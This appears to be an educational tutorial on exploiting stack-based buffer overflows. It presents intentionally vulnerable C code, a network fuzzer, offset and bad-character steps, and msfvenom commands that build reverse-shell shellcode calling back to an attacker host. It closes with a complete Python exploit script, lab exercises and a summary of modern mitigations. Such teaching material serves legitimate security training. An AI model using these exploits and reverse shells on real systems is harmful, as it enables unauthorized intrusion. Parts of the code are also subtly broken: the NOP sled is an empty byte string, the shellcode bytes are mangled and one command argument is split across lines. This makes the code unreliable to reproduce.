Buffer Overflow Fundamentals
Understand and exploit classic stack-based buffer overflows — memory layout, EIP control, bad characters, shellcode generation, and exploit development with GDB and pwndbg.
Learning Objectives
- → Understand stack memory layout: ESP, EBP, EIP, return address
- → Fuzz applications to find buffer overflow crash point
- → Control EIP by finding the exact offset with pattern_create/pattern_offset
- → Identify bad characters and generate shellcode with msfvenom
- → Write a complete stack-based buffer overflow exploit in Python
Memory and Stack Layout
Program memory layout (low to high):
+------------------+
| Stack | ← grows DOWN, local vars, return addresses
| (grows down) |
+------------------+
| |
+------------------+
| Heap | ← grows UP, dynamic allocations (malloc)
| (grows up) |
+------------------+
| .bss | uninitialized global vars
+------------------+
| .data | initialized global vars
+------------------+
| .text | program code (executable)
+------------------+
Stack frame for a function call:
High memory
+------------------+
| function args | pushed by caller
+------------------+
| return address | EIP saved by CALL instruction
+------------------+
| saved EBP | old frame pointer
+------------------+
| local variables | buffer is here!
+------------------+ ← ESP (top of stack)
Low memory
Registers:
EIP: Instruction Pointer — address of NEXT instruction to execute
ESP: Stack Pointer — top of current stack
EBP: Base Pointer — reference to current stack frame
How Buffer Overflow Works
// Vulnerable C code:
void vulnerable(char *input) {
char buffer[64]; // 64-byte buffer on stack
strcpy(buffer, input); // no bounds check!
// if input > 64 bytes:
// buffer overflows → overwrites saved EBP → overwrites return address (EIP)
}
int main() {
char user_input[512];
gets(user_input); // another dangerous function
vulnerable(user_input);
return 0;
}
// When function returns:
// CPU executes "ret" → pops return address into EIP
// If we overwrote return address → EIP points to OUR shellcode!
Step-by-Step Exploit Development
Step 1: Crash the Application (Fuzzing)
#!/usr/bin/env python3
# fuzzer.py — find the crash point
import socket
target_ip = "192.168.1.100"
target_port = 9999
payload = b"A" * 100 # start small
for size in range(100, 5000, 100):
try:
payload = b"A" * size
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
print(f"Sent {size} bytes — no crash")
except Exception as e:
print(f"Crashed at approximately {size} bytes!")
break
Step 2: Find Exact Offset
# Generate unique pattern (Metasploit):
msf-pattern_create -l 3000
# Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6... (unique 3000-char pattern)
# Send pattern to crash the app
# In GDB/debugger: check EIP value on crash
# EIP = 0x39624138 (example)
# Find the offset:
msf-pattern_offset -l 3000 -q 0x39624138
# Output: Exact match at offset 1978
# This means: at byte 1978, we control EIP!
Step 3: Control EIP
# exploit.py — verify EIP control
import socket
target_ip = "192.168.1.100"
target_port = 9999
offset = 1978
payload = b"A" * offset # fill buffer
payload += b"B" * 4 # overwrite EIP with 'BBBB' (0x42424242)
payload += b"C" * (3000 - offset - 4) # rest of buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
# EIP should now be 0x42424242 — we control it!
Step 4: Find Bad Characters
# Bad chars: characters the app filters/corrupts (null 0x00, newline 0x0a, etc.)
# Send all chars 0x01-0xFF and see which are missing/corrupted in memory
badchars_test = bytearray(range(0x01, 0x100))
payload = b"A" * offset
payload += b"B" * 4 # EIP placeholder
payload += bytes(badchars_test) # all bytes after EIP
# In GDB: examine memory at ESP after crash
# x/256bx $esp
# Compare output to sent bytes — missing/altered = bad chars
Step 5: Find JMP ESP
# We need: a memory address containing "JMP ESP" instruction
# When ret executes: EIP = return_address
# We set return_address = address of "JMP ESP"
# JMP ESP jumps to ESP (where our shellcode is!)
# Find JMP ESP in DLLs/executable (Mona.py in Immunity):
!mona jmp -r esp
# From Linux (pwntools):
from pwn import *
elf = ELF('./vulnerable_binary')
jmp_esp = next(elf.search(asm('jmp esp')))
print(hex(jmp_esp))
# ropper:
ropper --file vulnerable_binary --search "jmp esp"
# Output: 0x080481c3 : jmp esp
Step 6: Generate Shellcode
# msfvenom shellcode (linux/x86 reverse shell, no bad chars):
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -b '\x00
' -f python -v shellcode
# -b: bad characters to avoid
# -f python: output as Python variable
# Windows shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -b '\x00
' -e x86/shikata_ga_nai -f python -v shellcode
Step 7: Final Exploit
#!/usr/bin/env python3
# final_exploit.py
import socket
target_ip = "192.168.1.100"
target_port = 9999
offset = 1978
jmp_esp = 0x080481c3 # address of JMP ESP (little-endian)
# Shellcode generated by msfvenom (replace with actual)
shellcode = (
b"ÛÀÙt$ô[1ɱ..." # msfvenom output
)
# NOP sled: 16+ bytes of NOP (0x90) before shellcode
# Ensures shellcode is hit even with slight offset variations
nop_sled = b"" * 16
payload = b"A" * offset # fill to return address
payload += jmp_esp.to_bytes(4, 'little') # overwrite EIP with JMP ESP addr
payload += nop_sled # NOPs before shellcode
payload += shellcode # reverse shell shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
print("Exploit sent — check listener!")
GDB and pwndbg
# Install pwndbg (enhanced GDB for exploit dev):
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Debug vulnerable binary:
gdb ./vulnerable_binary
(gdb) run $(python3 -c "print('A'*1978 + 'BBBB')")
# After crash:
(gdb) info registers # check EIP, ESP, EBP
(gdb) x/64bx $esp # examine 64 bytes at ESP (our shellcode area)
(gdb) x/i $eip # instruction at EIP
# With pwndbg:
pwndbg> cyclic 3000 # create pattern
pwndbg> cyclic -l 0x62616169 # find offset
pwndbg> checksec # check binary protections (NX, ASLR, PIE, stack canary)
Modern Mitigations
ASLR (Address Space Layout Randomization): randomizes base addresses
→ Bypass: info leak, brute force, return-to-libc
NX/DEP (Non-Executable stack): stack is not executable
→ Bypass: Return-Oriented Programming (ROP gadgets)
Stack Canary: random value on stack before return address
→ Bypass: info leak the canary value
PIE (Position Independent Executable): code at random address
→ Bypass: leak code address, calculate offsets
Stack protections make exploitation much harder:
gcc -fstack-protector-all → stack canary
-z noexecstack → NX stack
-pie -fPIE → PIE
Analyze stack memory layout: (1) compile a simple C program with overflow: gcc -fno-stack-protector -m32 -o vuln vulnerable.c, (2) open in GDB with pwndbg, (3) set a breakpoint inside the vulnerable function, (4) run and examine the stack: x/32xw $esp, (5) identify: local buffer, saved EBP, return address, (6) manually calculate: how many bytes to reach the return address?
Why must you compile with -fno-stack-protector for BOF exercises?
What does EIP contain during normal program execution?
Complete TryHackMe Buffer Overflow Prep room (authorized practice): (1) find the exact offset using Metasploit pattern, (2) verify EIP control (overwrite with 'BBBB'), (3) find bad characters by sending 0x01-0xFF, (4) find a JMP ESP address in the target binary, (5) generate msfvenom shellcode with bad chars excluded, (6) write and send the final exploit, (7) catch the reverse shell.
What is a NOP sled and why is it used in buffer overflow exploits?
Write a complete exploit for a vulnerable echo server (lab environment): (1) write Python fuzzer to crash the server, (2) use pattern_create/offset to find exact offset, (3) verify EIP control, (4) find bad chars (test each byte), (5) find JMP ESP gadget, (6) generate msfvenom shellcode, (7) assemble final exploit: padding + JMP_ESP_addr + NOP_sled + shellcode, (8) test and get a reverse shell.
Why does the exploit use the address in little-endian format?